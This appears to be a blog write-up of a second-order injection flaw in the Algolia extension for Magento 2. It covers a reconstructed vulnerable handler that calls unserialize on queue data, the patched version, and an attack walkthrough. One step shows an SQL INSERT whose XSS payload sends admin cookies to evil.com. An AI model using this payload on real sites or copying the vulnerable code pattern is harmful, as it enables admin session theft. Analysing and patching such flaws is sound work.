Feb 19, 2026·5 min read·9 visits
The Algolia extension for Magento 2 blindly trusted job data read from the database queue. An attacker capable of injecting data into the queue table can trigger Cross-Site Scripting (XSS) or potentially Code Injection when the background cron job processes the malicious entry. Fixed in versions 3.16.2 and 3.17.2.
A moderate severity vulnerability in the Algolia Search & Discovery extension for Magento 2 allows for Second-Order Injection attacks. By assuming that data retrieved from the application's own database (specifically the job queue) is trustworthy, the extension opens the door for attackers who have achieved limited database write access—or who can chain this with a separate SQL injection—to execute malicious code or scripts via the background queue worker.
Magento 2 is a beast. To keep the frontend from crawling at the speed of a sloth in molasses, it relies heavily on asynchronous processing. When you save a product, it doesn't just update the row; it fires off events, invalidates caches, and triggers re-indexing jobs.
Algolia, being a search engine, needs to know about every product change immediately. To do this without hanging the user's browser, the Algolia extension pushes tasks into a Queue. These tasks are serialized, stored in the database (usually cron_schedule or a dedicated queue table), and picked up later by a background PHP process (the consumer).
Under normal circumstances, this is fine. The application writes the job, the application reads the job. It's a closed loop. But in security, 'closed loops' are just attack vectors we haven't pried open yet. The fundamental flaw here is the assumption that only the application could ever write to that database table.
The vulnerability (GHSA-595P-G7XC-C333) is a classic case of Implicit Trust. The developers assumed that because the data was coming from the queue table, it must be safe. After all, the database is behind the firewall, right?
Wrong. In the modern threat landscape, the database is often the goal, but sometimes it's just the staging area. If an attacker finds a minor SQL Injection (SQLi) elsewhere in the massive Magento ecosystem, or gains access to a low-privilege database user, they can write arbitrary rows to the queue table.
When the Algolia extension's queue handler wakes up—running with the full privileges of the Magento application (and often root filesystem access)—it reads this 'poisoned' job. Because it lacks input validation, it processes the payload. If the payload contains JavaScript, you get XSS in the admin logs. If the handler deserializes objects (a common PHP sin), you get Object Injection and RCE.
While the exact diff is proprietary to the vendor's private repo, we can reconstruct the vulnerability pattern based on standard Magento queue logic. The vulnerable code likely looked something like this:
public function process($jobData)
{
// BAD: Assuming $jobData is safe because it came from the DB
$data = unserialize($jobData->getBody());
if (isset($data['error_message'])) {
// XSS Vector: Directly outputting data to logs/UI
$this->logger->error("Algolia Sync Error: " . $data['error_message']);
}
// ... processing logic ...
}The fix involves strict validation. You don't just read the data; you interrogate it. The patch introduces Hardened Queue Job Handler Validation. This usually means verifying the structure of the JSON/Array, stripping tags, and ensuring that no executable objects are instantiated during the read process.
public function process($jobData)
{
// GOOD: Validate before processing
$rawBody = $jobData->getBody();
if (!$this->validator->isValidJob($rawBody)) {
throw new \Exception("Malformatted queue job detected.");
}
$data = $this->serializer->unserialize($rawBody);
// Sanitize specifically before output
$cleanMessage = htmlspecialchars($data['error_message'], ENT_QUOTES);
}This is a Second-Order Injection attack. The exploit doesn't happen when the data enters the system; it happens when it leaves. Here is how a sophisticated attacker would weaponize this:
Step 1: The Injection
The attacker needs a way to write to the database. Let's assume they found a blind SQL injection in a third-party Magento module. They can't run shell commands, but they can INSERT rows.
Step 2: The Payload
The attacker inserts a malicious job into the algolia_queue table.
INSERT INTO algolia_sync_queue (job_data, status, created_at)
VALUES
('{"type":"product_update","payload":"<script>fetch(\"http://evil.com/\"+document.cookie)</script>"}', 'pending', NOW());Step 3: The Trigger
The attacker waits. Magento's cron runs every minute. The Algolia consumer wakes up, queries for pending jobs, and pulls the malicious row.
Step 4: The Execution
The extension processes the job. If the logic involves logging the payload on failure (a common debugging feature), the XSS payload is stored in the system logs or displayed in the Magento Admin Panel's "System Messages" area. When an Administrator logs in to check why sync is failing—boom—their session cookies are sent to evil.com.
You might argue, "If they already have SQL injection, isn't it game over?" Not necessarily. A blind SQLi is slow and often limited to data exfiltration. Converting a database write primitive into full Remote Code Execution (RCE) or Admin Account Takeover is the holy grail of exploitation.
This vulnerability provides that bridge. It turns a data-layer compromise into an application-layer execution. In Magento, Admin sessions are powerful. An attacker with Admin access can upload plugins, modify themes, and essentially own the server.
Furthermore, if the queue handler uses insecure deserialization, this becomes an instant RCE without needing the admin to log in. The server attacks itself the moment the cron job runs.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Algolia Search & Discovery for Magento 2 Algolia | < 3.16.2 | 3.16.2 |
Algolia Search & Discovery for Magento 2 Algolia | < 3.17.2 | 3.17.2 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Second-Order Injection / XSS |
| CWE ID | CWE-20 (Improper Input Validation) |
| Related CWE | CWE-79 (XSS), CWE-94 (Code Injection) |
| Attack Vector | Network (via Database) |
| Privileges Required | High (Database Write Access) |
| CVSS Estimate | 6.1 (Medium) |
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.